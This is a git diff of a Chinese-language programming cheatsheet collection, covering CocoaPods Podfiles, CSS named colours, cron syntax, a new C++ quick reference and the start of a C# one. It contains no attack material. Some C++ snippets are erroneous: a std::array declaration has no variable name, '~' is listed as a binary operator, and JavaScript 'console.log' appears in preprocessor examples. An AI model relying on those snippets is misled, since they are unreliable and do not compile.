platform :ios, '9.0'
inhibit_all_warnings!
target 'MyApp' do
pod 'GoogleAnalytics', '~> 3.1'
# 拥有自己的 OCMock 副本
# 并且可以通过应用访问 GoogleAnalytics
# 承载测试目标
target 'MyAppTests' do
inherit! :search_paths
pod 'OCMock', '~> 2.0.1'
end
end
post_install do |installer|
installer.pods_project.targets.each do |target|
puts target.name
end
end
```
<!--rehype:className=wrap-text-->
链接应用程序及其测试包的更复杂 Podfile 的示例
### 指定 pod 版本
在开始一个项目时,希望使用最新版本的 Pod。这种情况只需忽略版本要求
```ruby
pod 'SSZipArchive'
```
稍后在项目中,您可能希望冻结到特定版本的 Pod在这种情况下您可以指定该版本号
```ruby
pod 'Objection', '0.9'
```
### 隐式抽象目标
Podfile 的根目录存在隐式抽象目标,因此您可以将上面的示例编写为
```ruby
pod 'ShowsKit'
pod 'Fabric'
# 拥有自己的 ShowsKit + ShowWebAuth 副本
target 'ShowsiOS' do
pod 'ShowWebAuth'
end
# 拥有自己的 ShowsKit + ShowTVAuth 副本
target 'ShowsTV' do
pod 'ShowTVAuth'
end
```
### 多个目标共享同一个 pod
```ruby
# 在任何 Xcode 项目中都没有名为“Shows”的目标
abstract_target 'Shows' do
pod 'ShowsKit'
pod 'Fabric'
# 拥有自己的 ShowsKit + ShowWebAuth 副本
target 'ShowsiOS' do
pod 'ShowWebAuth'
end
# 拥有自己的 ShowsKit + ShowTVAuth 副本
target 'ShowsTV' do
pod 'ShowTVAuth'
end
end
```
另见
----
- [CocoaPods 官方网站](https://cocoapods.org/) *(cocoapods.org)*
- [Cocoapods Cheatsheet](https://github.com/SebastianBoldt/Cocoapods-Cheatsheet) *(github.com)*

View File

@ -6,6 +6,8 @@ CSS 定义了一大组[命名颜色](https://www.w3.org/TR/css-color-4/#named-co
Named Colors
---
<!-- markdownlint-disable MD038 -->
### 颜色列表
<!--rehype:wrap-class=col-span-3&style=display:none;&wrap-style=padding-top: 0;-->
@ -760,7 +762,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 150° Green-Cyans
<!--rehype:wrap-class=col-span-3-->
@ -880,7 +881,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 180° Cyans
<!--rehype:wrap-class=col-span-3-->
@ -1000,7 +1000,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 210° Cyan-Blues
<!--rehype:wrap-class=col-span-3-->
@ -1120,7 +1119,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 240° blues
<!--rehype:wrap-class=col-span-3-->
@ -1240,7 +1238,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 270° Blue-Magentas
<!--rehype:wrap-class=col-span-3-->
@ -1360,7 +1357,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 300° Magentas
<!--rehype:wrap-class=col-span-3-->
@ -1480,7 +1476,6 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
### 330° Magenta-Reds
<!--rehype:wrap-class=col-span-3-->
@ -1600,9 +1595,8 @@ HSL 颜色示例
</table>
<!--rehype:className=show-header-->
另见
----
- [CSS 备忘清单](./css.md)
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_
- [Named Colors](https://www.w3.org/TR/css-color-4/#named-colors) _(w3.org)_

View File

@ -209,7 +209,6 @@ $ conan inspect boost/1.74.0
请参阅 [conan get](https://docs.conan.io/en/latest/reference/commands/consumer/get.html) 和 [conan inspect](https://docs.conan.io/en/latest/reference/commands/misc/inspect.html) 参考
### Lockfiles
创建一个锁文件:

792
docs/cpp.md Normal file
View File

@ -0,0 +1,792 @@
C++ 备忘清单
===
提供基本语法和方法的 [C++](https://zh.cppreference.com/) 快速参考备忘单
入门
--------
### hello.cpp
```cpp
#include <iostream>
int main() {
std::cout << "Hello Quick Reference\n";
return 0;
}
```
编译运行
```shell
$ g++ hello.cpp -o hello
$ ./hello
Hello Quick Reference
```
### 变量
```cpp
int number = 5; // 整数
float f = 0.95; // 浮点数
double PI = 3.14159; // 浮点数
char yes = 'Y'; // 特点
std::string s = "ME"; // 字符串(文本)
bool isRight = true; // 布尔值
// 常量
const float RATE = 0.8;
```
----
```cpp
int age {25}; // 自 C++11
std::cout << age; // 打印 25
```
### 原始数据类型
数据类型 | 大小 | 范围
:- | -- | --
`int` | 4 bytes | -2<sup>31</sup> 到 2<sup>31</sup>-1
`float` | 4 bytes | _N/A_
`double` | 8 bytes | _N/A_
`char` | 1 byte | -128 到 127
`bool` | 1 byte | `true` / `false`
`void` | _N/A_ | _N/A_
`wchar_t` | 2 到 4 bytes | 1 个宽字符
<!--rehype:className=show-header-->
### 用户输入
```cpp
int num;
std::cout << "Type a number: ";
std::cin >> num;
std::cout << "You entered " << num;
```
### 交换
```cpp
int a = 5, b = 10;
std::swap(a, b);
// 输出: a=10, b=5
std::cout << "a=" << a << ", b=" << b;
```
### 注释
```cpp
// C++中的单行注释
/* 这是一个多行注释
在 C++ 中 */
```
### If 语句
```cpp
if (a == 10) {
// do something
}
```
查看: [条件](#c-条件)
### 循环
```cpp
for (int i = 0; i < 10; i++) {
std::cout << i << "\n";
}
```
查看: [循环 Loops](#c-循环)
### 函数
<!--rehype:wrap-class=row-span-2-->
```cpp
#include <iostream>
void hello(); // 声明
int main() { // 主函数
hello(); // 执行函数
}
void hello() { // 定义
std::cout << "Hello Quick Reference!\n";
}
```
查看: [函数 Functions](#c-函数)
### 引用
```cpp
int i = 1;
int& ri = i; // ri 是对 i 的引用
ri = 2; // i 现在改为 2
std::cout << "i=" << i;
i = 3; // i 现在改为 3
std::cout << "ri=" << ri;
```
`ri``i` 指的是相同的内存位置
### 命名空间
```cpp
#include <iostream>
namespace ns1 {int val(){return 5;}}
int main()
{
std::cout << ns1::val();
}
```
----
```cpp
#include <iostream>
namespace ns1 {int val(){return 5;}}
using namespace ns1;
using namespace std;
int main()
{
cout << val();
}
```
名称空间允许名称下的全局标识符
C++ 数组
------
### 定义
```cpp
std::array<int, 3> marks; // 定义
marks[0] = 92;
marks[1] = 97;
marks[2] = 98;
// 定义和初始化
std::array<int, 3> = {92, 97, 98};
// 有空成员
std::array<int, 3> marks = {92, 97};
std::cout << marks[2]; // 输出: 0
```
### 操控
```cpp
┌─────┬─────┬─────┬─────┬─────┬─────┐
| 92 | 97 | 98 | 99 | 98 | 94 |
└─────┴─────┴─────┴─────┴─────┴─────┘
0 1 2 3 4 5
```
----
```cpp
std::array<int, 6> marks = {
92, 97, 98, 99, 98, 94
};
// 打印第一个元素
std::cout << marks[0];
// 将第 2 个元素更改为 99
marks[1] = 99;
// 从用户那里获取输入
std::cin >> marks[2];
```
### 展示
```cpp
char ref[5] = {'R', 'e', 'f'};
// 基于范围的for循环
for (const int &n : ref) {
std::cout << std::string(1, n);
}
// 传统的for循环
for (int i = 0; i < sizeof(ref); ++i) {
std::cout << ref[i];
}
```
### 多维
```cpp
j0 j1 j2 j3 j4 j5
┌────┬────┬────┬────┬────┬────┐
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
├────┼────┼────┼────┼────┼────┤
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
└────┴────┴────┴────┴────┴────┘
```
----
```cpp
int x[2][6] = {
{1,2,3,4,5,6}, {6,5,4,3,2,1}
};
for (int i = 0; i < 2; ++i) {
for (int j = 0; j < 6; ++j) {
std::cout << x[i][j] << " ";
}
}
// 输出: 1 2 3 4 5 6 6 5 4 3 2 1
```
C++ 条件
------------
### If Clause
```cpp
if (a == 10) {
// do something
}
```
----
```cpp
int number = 16;
if (number % 2 == 0)
{
std::cout << "even";
}
else
{
std::cout << "odd";
}
// 输出: even
```
### Else if 语句
```cpp
int score = 99;
if (score == 100) {
std::cout << "Superb";
}
else if (score >= 90) {
std::cout << "Excellent";
}
else if (score >= 80) {
std::cout << "Very Good";
}
else if (score >= 70) {
std::cout << "Good";
}
else if (score >= 60)
std::cout << "OK";
else
std::cout << "What?";
```
### 运算符
<!--rehype:wrap-class=row-span-2-->
#### 关系运算符
:--|--
:--|--
`a == b` | a 等于 b
`a != b` | a 不等于 b
`a < b` | a 小于 b
`a > b` | a 大于 b
`a <= b` | a 小于或等于 b
`a >= b` | a 大于或等于 b
#### 赋值运算符
范例 | 相当于
:--|--
`a += b` | _Aka_ `a = a + b`
`a -= b` | _Aka_ `a = a - b`
`a *= b` | _Aka_ `a = a * b`
`a /= b` | _Aka_ `a = a / b`
`a %= b` | _Aka_ `a = a % b`
#### 逻辑运算符
| Example | Meaning |
|----------------|------------------------|
| `exp1 && exp2` | Both are true _(AND)_ |
| `exp1 || exp2` | Either is true _(OR)_ |
| `!exp` | `exp` is false _(NOT)_ |
#### 位运算符
| Operator | Description |
|----------|-------------------------|
| `a & b` | Binary AND |
| `a | b` | Binary OR |
| `a ^ b` | Binary XOR |
| `a ~ b` | Binary One's Complement |
| `a << b` | Binary Shift Left |
| `a >> b` | Binary Shift Right |
### 三元运算符
```
┌── True ──┐
Result = Condition ? Exp1 : Exp2;
└───── False ─────┘
```
----
```cpp
int x = 3, y = 5, max;
max = (x > y) ? x : y;
// 输出: 5
std::cout << max << std::endl;
```
----
```cpp
int x = 3, y = 5, max;
if (x > y) {
max = x;
} else {
max = y;
}
// 输出: 5
std::cout << max << std::endl;
```
### switch 语句
```cpp
int num = 2;
switch (num) {
case 0:
std::cout << "Zero";
break;
case 1:
std::cout << "One";
break;
case 2:
std::cout << "Two";
break;
case 3:
std::cout << "Three";
break;
default:
std::cout << "What?";
break;
}
```
C++ 循环
------------
### While
```cpp
int i = 0;
while (i < 6) {
std::cout << i++;
}
// 输出: 012345
```
### Do-while
```cpp
int i = 1;
do {
std::cout << i++;
} while (i <= 5);
// 输出: 12345
```
### Continue 语句
```cpp
for (int i = 0; i < 10; i++) {
if (i % 2 == 0) {
continue;
}
std::cout << i;
} // 输出: 13579
```
### 无限循环
```cpp
while (true) { // true or 1
std::cout << "无限循环";
}
```
----
```cpp
for (;;) {
std::cout << "无限循环";
}
```
----
```cpp
for(int i = 1; i > 0; i++) {
std::cout << "infinite loop";
}
```
### for_each (C++11 起)
```cpp
#include <iostream>
int main()
{
auto print = [](int num) {
std::cout << num << std::endl;
};
std::array<int, 4> arr = {1, 2, 3, 4};
std::for_each(arr.begin(), arr.end(), print);
return 0;
}
```
<!--rehype:className=wrap-text-->
### 基于范围 (C++11 起)
```cpp
for (int n : {1, 2, 3, 4, 5}) {
std::cout << n << " ";
}
// 输出: 1 2 3 4 5
```
----
```cpp
std::string hello = "Quick Reference.ME";
for (char c: hello)
{
std::cout << c << " ";
}
// 输出: Q u i c k R e f . M E
```
### 中断语句
```cpp
int password, times = 0;
while (password != 1234) {
if (times++ >= 3) {
std::cout << "Locked!\n";
break;
}
std::cout << "Password: ";
std::cin >> password; // input
}
```
### Several variations
```cpp
for (int i = 0, j = 2; i < 3; i++, j--){
std::cout << "i=" << i << ",";
std::cout << "j=" << j << ";";
}
// 输出: i=0,j=2;i=1,j=1;i=2,j=0;
```
C++ 函数
------------
### 参数和返回
```cpp
#include <iostream>
int add(int a, int b) {
return a + b;
}
int main() {
std::cout << add(10, 20);
}
```
`add` 是一个接受 2 个整数并返回整数的函数
### 重载
```cpp
void fun(string a, string b) {
std::cout << a + " " + b;
}
void fun(string a) {
std::cout << a;
}
void fun(int a) {
std::cout << a;
}
```
### 内置函数
```cpp
#include <iostream>
#include <cmath> // 导入库
int main() {
// sqrt() 来自 cmath
std::cout << sqrt(9);
}
```
C++ 预处理器
------------
### 预处理器
<!--rehype:wrap-class=row-span-3-->
- [if](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [elif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [else](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [endif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [ifdef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [ifndef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [define](https://zh.cppreference.com/w/cpp/preprocessor/replace)
- [undef](https://zh.cppreference.com/w/cpp/preprocessor/replace)
- [include](https://zh.cppreference.com/w/cpp/preprocessor/include)
- [line](https://zh.cppreference.com/w/cpp/preprocessor/line)
- [error](https://zh.cppreference.com/w/cpp/preprocessor/error)
- [pragma](https://zh.cppreference.com/w/cpp/preprocessor/impl)
- [defined](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [__has_include](https://zh.cppreference.com/w/cpp/feature_test)
- [__has_cpp_attribute](https://zh.cppreference.com/w/cpp/feature_test)
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
- [import](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/import&amp;action=edit&amp;redlink=1)
- [module](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/module&amp;action=edit&amp;redlink=1)
<!--rehype:className=style-none cols-2-->
### Includes
```cpp
#include "iostream"
#include <iostream>
```
### Defines
```cpp
#define FOO
#define FOO "hello"
#undef FOO
```
### If
<!--rehype:wrap-class=row-span-2-->
```cpp
#ifdef DEBUG
console.log('hi');
#elif defined VERBOSE
...
#else
...
#endif
```
### Error
```cpp
#if VERSION == 2.0
#error Unsupported
#warning Not really supported
#endif
```
### 宏
```cpp
#define DEG(x) ((x) * 57.29)
```
### 令牌连接
```cpp
#define DST(name) name##_s name##_t
DST(object); #=> object_s object_t;
```
### 字符串化
```cpp
#define STR(name) #name
char * a = STR(object); #=> char * a = "object";
```
<!--rehype:className=wrap-text-->
### 文件和行
```cpp
#define LOG(msg) console.log(__FILE__, __LINE__, msg)
#=> console.log("file.txt", 3, "hey")
```
<!--rehype:className=wrap-text-->
各种各样的
-------------
### 转义序列
转义序列 | 说明
:--|--
`\b` | 退格键
`\f` | 换页
`\n` | 换行
`\r` | 返回
`\t` | 水平制表符
`\v` | 垂直制表符
`\\` | 反斜杠
`\'` | 单引号
`\"` | 双引号
`\?` | 问号
`\0` | 空字符
### 关键字
<!--rehype:wrap-class=row-span-2 col-span-2-->
- [alignas](https://zh.cppreference.com/w/cpp/keyword/alignas)
- [alignof](https://zh.cppreference.com/w/cpp/keyword/alignof)
- [and](https://zh.cppreference.com/w/cpp/keyword/and)
- [and_eq](https://zh.cppreference.com/w/cpp/keyword/and_eq)
- [asm](https://zh.cppreference.com/w/cpp/keyword/asm)
- [atomic_cancel](https://zh.cppreference.com/w/cpp/keyword/atomic_cancel)
- [atomic_commit](https://zh.cppreference.com/w/cpp/keyword/atomic_commit)
- [atomic_noexcept](https://zh.cppreference.com/w/cpp/keyword/atomic_noexcept)
- [auto](https://zh.cppreference.com/w/cpp/keyword/auto)
- [bitand](https://zh.cppreference.com/w/cpp/keyword/bitand)
- [bitor](https://zh.cppreference.com/w/cpp/keyword/bitor)
- [bool](https://zh.cppreference.com/w/cpp/keyword/bool)
- [break](https://zh.cppreference.com/w/cpp/keyword/break)
- [case](https://zh.cppreference.com/w/cpp/keyword/case)
- [catch](https://zh.cppreference.com/w/cpp/keyword/catch)
- [char](https://zh.cppreference.com/w/cpp/keyword/char)
- [char8_t](https://zh.cppreference.com/w/cpp/keyword/char8_t)
- [char16_t](https://zh.cppreference.com/w/cpp/keyword/char16_t)
- [char32_t](https://zh.cppreference.com/w/cpp/keyword/char32_t)
- [class](https://zh.cppreference.com/w/cpp/keyword/class)
- [compl](https://zh.cppreference.com/w/cpp/keyword/compl)
- [concept](https://zh.cppreference.com/w/cpp/keyword/concept)
- [const](https://zh.cppreference.com/w/cpp/keyword/const)
- [consteval](https://zh.cppreference.com/w/cpp/keyword/consteval)
- [constexpr](https://zh.cppreference.com/w/cpp/keyword/constexpr)
- [constinit](https://zh.cppreference.com/w/cpp/keyword/constinit)
- [const_cast](https://zh.cppreference.com/w/cpp/keyword/const_cast)
- [continue](https://zh.cppreference.com/w/cpp/keyword/continue)
- [co_await](https://zh.cppreference.com/w/cpp/keyword/co_await)
- [co_return](https://zh.cppreference.com/w/cpp/keyword/co_return)
- [co_yield](https://zh.cppreference.com/w/cpp/keyword/co_yield)
- [decltype](https://zh.cppreference.com/w/cpp/keyword/decltype)
- [default](https://zh.cppreference.com/w/cpp/keyword/default)
- [delete](https://zh.cppreference.com/w/cpp/keyword/delete)
- [do](https://zh.cppreference.com/w/cpp/keyword/do)
- [double](https://zh.cppreference.com/w/cpp/keyword/double)
- [dynamic_cast](https://zh.cppreference.com/w/cpp/keyword/dynamic_cast)
- [else](https://zh.cppreference.com/w/cpp/keyword/else)
- [enum](https://zh.cppreference.com/w/cpp/keyword/enum)
- [explicit](https://zh.cppreference.com/w/cpp/keyword/explicit)
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
- [extern](https://zh.cppreference.com/w/cpp/keyword/extern)
- [false](https://zh.cppreference.com/w/cpp/keyword/false)
- [float](https://zh.cppreference.com/w/cpp/keyword/float)
- [for](https://zh.cppreference.com/w/cpp/keyword/for)
- [friend](https://zh.cppreference.com/w/cpp/keyword/friend)
- [goto](https://zh.cppreference.com/w/cpp/keyword/goto)
- [if](https://zh.cppreference.com/w/cpp/keyword/if)
- [inline](https://zh.cppreference.com/w/cpp/keyword/inline)
- [int](https://zh.cppreference.com/w/cpp/keyword/int)
- [long](https://zh.cppreference.com/w/cpp/keyword/long)
- [mutable](https://zh.cppreference.com/w/cpp/keyword/mutable)
- [namespace](https://zh.cppreference.com/w/cpp/keyword/namespace)
- [new](https://zh.cppreference.com/w/cpp/keyword/new)
- [noexcept](https://zh.cppreference.com/w/cpp/keyword/noexcept)
- [not](https://zh.cppreference.com/w/cpp/keyword/not)
- [not_eq](https://zh.cppreference.com/w/cpp/keyword/not_eq)
- [nullptr](https://zh.cppreference.com/w/cpp/keyword/nullptr)
- [operator](https://zh.cppreference.com/w/cpp/keyword/operator)
- [or](https://zh.cppreference.com/w/cpp/keyword/or)
- [or_eq](https://zh.cppreference.com/w/cpp/keyword/or_eq)
- [private](https://zh.cppreference.com/w/cpp/keyword/private)
- [protected](https://zh.cppreference.com/w/cpp/keyword/protected)
- [public](https://zh.cppreference.com/w/cpp/keyword/public)
- [reflexpr](https://zh.cppreference.com/w/cpp/keyword/reflexpr)
- [register](https://zh.cppreference.com/w/cpp/keyword/register)
- [reinterpret_cast](https://zh.cppreference.com/w/cpp/keyword/reinterpret_cast)
- [requires](https://zh.cppreference.com/w/cpp/keyword/requires)
- [return](https://zh.cppreference.com/w/cpp/language/return)
- [short](https://zh.cppreference.com/w/cpp/keyword/short)
- [signed](https://zh.cppreference.com/w/cpp/keyword/signed)
- [sizeof](https://zh.cppreference.com/w/cpp/keyword/sizeof)
- [static](https://zh.cppreference.com/w/cpp/keyword/static)
- [static_assert](https://zh.cppreference.com/w/cpp/keyword/static_assert)
- [static_cast](https://zh.cppreference.com/w/cpp/keyword/static_cast)
- [struct](https://zh.cppreference.com/w/cpp/keyword/struct)
- [switch](https://zh.cppreference.com/w/cpp/keyword/switch)
- [synchronized](https://zh.cppreference.com/w/cpp/keyword/synchronized)
- [template](https://zh.cppreference.com/w/cpp/keyword/template)
- [this](https://zh.cppreference.com/w/cpp/keyword/this)
- [thread_local](https://zh.cppreference.com/w/cpp/keyword/thread_local)
- [throw](https://zh.cppreference.com/w/cpp/keyword/throw)
- [true](https://zh.cppreference.com/w/cpp/keyword/true)
- [try](https://zh.cppreference.com/w/cpp/keyword/try)
- [typedef](https://zh.cppreference.com/w/cpp/keyword/typedef)
- [typeid](https://zh.cppreference.com/w/cpp/keyword/typeid)
- [typename](https://zh.cppreference.com/w/cpp/keyword/typename)
- [union](https://zh.cppreference.com/w/cpp/keyword/union)
- [unsigned](https://zh.cppreference.com/w/cpp/keyword/unsigned)
- [using](https://zh.cppreference.com/w/cpp/keyword/using)
- [virtual](https://zh.cppreference.com/w/cpp/keyword/virtual)
- [void](https://zh.cppreference.com/w/cpp/keyword/void)
- [volatile](https://zh.cppreference.com/w/cpp/keyword/volatile)
- [wchar_t](https://zh.cppreference.com/w/cpp/keyword/wchar_t)
- [while](https://zh.cppreference.com/w/cpp/keyword/while)
- [xor](https://zh.cppreference.com/w/cpp/keyword/xor)
- [xor_eq](https://zh.cppreference.com/w/cpp/keyword/xor_eq)
- [final](https://zh.cppreference.com/w/cpp/language/final)
- [override](https://zh.cppreference.com/w/cpp/language/override)
- [transaction_safe](https://zh.cppreference.com/w/cpp/language/transactional_memory)
- [transaction_safe_dynamic](https://zh.cppreference.com/w/cpp/language/transactional_memory)
<!--rehype:className=style-none cols-5-->
### 预处理器
- [if](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [elif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [else](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [endif](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [ifdef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [ifndef](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [define](https://zh.cppreference.com/w/cpp/preprocessor/replace)
- [undef](https://zh.cppreference.com/w/cpp/preprocessor/replace)
- [include](https://zh.cppreference.com/w/cpp/preprocessor/include)
- [line](https://zh.cppreference.com/w/cpp/preprocessor/line)
- [error](https://zh.cppreference.com/w/cpp/preprocessor/error)
- [pragma](https://zh.cppreference.com/w/cpp/preprocessor/impl)
- [defined](https://zh.cppreference.com/w/cpp/preprocessor/conditional)
- [__has_include](https://zh.cppreference.com/w/cpp/feature_test)
- [__has_cpp_attribute](https://zh.cppreference.com/w/cpp/feature_test)
- [export](https://zh.cppreference.com/w/cpp/keyword/export)
- [import](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/import&amp;action=edit&amp;redlink=1)
- [module](https://zh.cppreference.com/mwiki/index.php?title=cpp/keyword/module&amp;action=edit&amp;redlink=1)
<!--rehype:className=style-none cols-2-->
另见
----
- [C++ Infographics & Cheat Sheets](https://hackingcpp.com/cpp/cheat_sheets.html) _(hackingcpp.com)_
- [C++ reference](https://zh.cppreference.com/w/) _(cppreference.com)_
- [C++ Language Tutorials](http://www.cplusplus.com/doc/tutorial/) _(cplusplus.com)_

View File

@ -1,7 +1,6 @@
Cron 备忘清单
===
[Cron](https://en.wikipedia.org/wiki/Cron) 最适合安排重复性任务。 可以使用关联的 at 实用程序来完成一次性任务的调度。
Crontab 格式
@ -17,8 +16,8 @@ Min Hour Day Mon Weekday
-------
```
* * * * * 要执行的命令
```bash
* * * * * <要执行的命令>
┬ ┬ ┬ ┬ ┬
│ │ │ │ └─ 星期几 (0=周日 .. 6=星期六)
│ │ │ └────── 月 (1..12)
@ -27,17 +26,17 @@ Min Hour Day Mon Weekday
└───────────────────── 分钟 (0..59)
```
------
-------
| 字段 | 范围 | 特殊字符 |
|--------------|--------|--------------------|
| 分钟 Minute | 0 - 59 | , - * / |
| 小时 Hour | 0 - 23 | , - * / |
| 月份中的某天 | 1 - 31 | , - * ? / L W |
| 月 Month | 1 - 12 | , - * / |
| 星期几 | 0 - 6 | , - * ? / L # |
<!--rehype:className=show-header -->
| 分钟 Minute | 0 - 59 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
| 小时 Hour | 0 - 23 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
| 月份中的某天 | 1 - 31 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>?</kbd> <kbd>/</kbd> <kbd>L</kbd> <kbd>W</kbd>
| 月 Month | 1 - 12 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>/</kbd>
| 星期几 | 0 - 6 | <kbd>,</kbd> <kbd>-</kbd> <kbd>*</kbd> <kbd>?</kbd> <kbd>/</kbd> <kbd>L</kbd> <kbd>#</kbd>
| 年 Year | 19702099 | <kbd>,</kbd> <kbd>-</kbd>
<!--rehype:className=show-header-->
### 示例
@ -52,36 +51,38 @@ Min Hour Day Mon Weekday
| `0 0 * * 0` | 每个星期日的午夜 |
| `15 2 * * 1L` | 每月最后一个星期一凌晨 2 点 15 分 |
| `15 0 * * 4#2` | 每个月的第二个星期四早上 00:15 |
| `0 0 0 1 * *` | 每个月的 1 日每月 |
| `0 0 0 1 1 *` | 每年 1 月 1 日每年 |
| `0 0 0 1 * *` | 每个月的 1 日(每月) |
| `0 0 0 1 1 *` | 每年 1 月 1 日(每年) |
| `@reboot` | 每次重启 _(非标准)_ |
### 特殊字符串
| 特殊字符串 | 意义 |
|----------------|----------------------------------------------------|
| @reboot | 运行一次,在系统启动时 _非标准_ |
| @yearly | 每年运行一次“0 0 1 1 *” _非标准_ |
| @annually | @yearly 相同_非标准_ |
| @monthly | 每月运行一次“0 0 1 * *_非标准_ |
| @weekly | 每周运行一次“0 0 * * 0” _非标准_ |
| @daily | 每天运行一次“0 0 * * *” _非标准_ |
| @midnight | @daily 相同_非标准_ |
| @hourly | 每小时运行一次“0 * * * *_非标准_ |
| @reboot | 运行一次,在系统启动时 _(非标准)_ |
| @yearly | 每年运行一次“0 0 1 1 *” _(非标准)_ |
| @annually | (@yearly 相同)_(非标准)_ |
| @monthly | 每月运行一次“0 0 1 \* \*” _(非标准)_ |
| @weekly | 每周运行一次“0 0 \* \* 0” _(非标准)_ |
| @daily | 每天运行一次“0 0 \* \* \*” _(非标准)_ |
| @midnight | (@daily 相同)_(非标准)_ |
| @hourly | 每小时运行一次“0 \* \* \* \*_(非标准)_ |
<!--rehype:className=show-header -->
### Crontab 命令
| - | - |
|--------------|---------------------------------------------|
| `crontab -e` | 如果不存在,则编辑或创建一个 crontab 文件 |
| `crontab -l` | 显示 crontab 文件 |
| `crontab -r` | 删除 crontab 文件 |
| `crontab -v` | 显示您上次编辑 crontab 文件的时间 _非标准_ |
| `echo "@reboot echo hi" | crontab` | 轻松添加任务 |
| `crontab -e` | 如果不存在,则编辑或创建一个 crontab 文件 |
| `crontab -l` | 显示 crontab 文件 |
| `crontab -r` | 删除 crontab 文件 |
| `crontab -v` | 显示您上次编辑 crontab 文件的时间 _(非标准)_ |
轻松添加任务
```bash
echo "@reboot echo hi" \| crontab
```
### 特殊字符
<!--rehype:wrap-class=col-span-2-->
@ -89,17 +90,17 @@ Min Hour Day Mon Weekday
| 特殊字符 | 说明 |
|---------------------|------------|
`星号(*)` | 匹配字段中的所有值或任何可能的值。
`横杆(-)` | 用于定义范围。例如:第 5 个字段星期几中的 1-5 每个工作日,即星期一到星期五
`斜线 (/)` | 第一个字段分钟/15 表示每十五分钟或范围的增量。
`逗号(,)` | 用于分隔项目。例如:第二个字段小时中的 2、6、8 在凌晨 2 点、早上 6 点和早上 8 点执行
`横杆(-)` | 用于定义范围。例如:第 5 个字段(星期几)中的 1-5 每个工作日,即星期一到星期五
`斜线 (/)` | 第一个字段(分钟)/15 表示每十五分钟或范围的增量。
`逗号(,)` | 用于分隔项目。例如:第二个字段(小时)中的 2、6、8 在凌晨 2 点、早上 6 点和早上 8 点执行
`L` | 仅允许用于 `月份中的某天``星期几` 字段,`星期几` 中的 `2L` 表示每个月的最后一个星期二
`井号 (#)` | 仅允许用于 `星期几` 字段,后面必须在 1 到 5 的范围内。例如,`4#1` 表示给定月份的“第一个星期四”。
`问号(?)` | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天``星期几`
<!--rehype:className=show-header auto-wrap-->
另见
----
## Also see
* [Devhints](https://devhints.io/cron) _(devhints.io)_
* [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
* [Crontab guru](https://crontab.guru/) _(crontab.guru)_
- [Devhints](https://devhints.io/cron) _(devhints.io)_
- [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
- [Crontab guru](https://crontab.guru/) _(crontab.guru)_

228
docs/cs.md Normal file
View File

@ -0,0 +1,228 @@
C# 备忘清单
===
提供基本语法和方法的 C# 快速参考备忘单
入门
--------
### Hello.cs
```cs
class Hello {
// main method
static void Main(string[] args)
{
// 输出: Hello, world!
Console.WriteLine("Hello, world!");
}
}
```
编译运行(确保在项目目录下)
```shell
$ dotnet run
Hello, world!
```
### 变量
```cs
int intNum = 9;
long longNum = 9999999;
float floatNum = 9.99F;
double doubleNum = 99.999;
decimal decimalNum = 99.9999M;
char letter = 'D';
bool @bool = true;
string site = "jaywcjlove.github.io";
var num = 999;
var str = "999";
var bo = false;
```
### 原始数据类型
数据类型 | 尺寸 | 范围
:- | - | -
| `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 |
| `long` | 8 bytes | -2^63^ ^to^ 2^63^-1 |
| `float` | 4 bytes | 6 ^to^ 7 decimal digits |
| `double` | 8 bytes | 15 decimal digits |
| `decimal` | 16 bytes | 28 ^to^ 29 decimal digits |
| `char` | 2 bytes | 0 ^to^ 65535 |
| `bool` | 1 bit | true / false |
| `string` | 2 bytes per char | _N/A_ |
<!--rehype:className=show-header-->
### 注释
```cs
// 单行注释
/* 多行
注释 */
// TODO向 Visual Studio 中的任务列表添加注释
/// 用于文档的单行注释
/** 多行 注释
用于文档 **/
```
### 字符串
```cs
string first = "John";
string last = "Doe";
// 字符串连接
string name = first + " " + last;
Console.WriteLine(name); // => John Doe
```
查看: [C#字符串](#c-字符串)
### 用户输入
```cs showLineNumbers
Console.WriteLine("Enter number:");
if(int.TryParse(Console.ReadLine(),out int input))
{
// 输入验证
Console.WriteLine($"You entered {input}");
}
```
### 条件判断
```cs
int j = 10;
if (j == 10) {
Console.WriteLine("I get printed");
} else if (j > 10) {
Console.WriteLine("I don't");
} else {
Console.WriteLine("I also don't");
}
```
### 数组
```cs
char[] chars = new char[10];
chars[0] = 'a';
chars[1] = 'b';
string[] letters = {"A", "B", "C"};
int[] mylist = {100, 200};
bool[] answers = {true, false};
```
### 循环
```cs
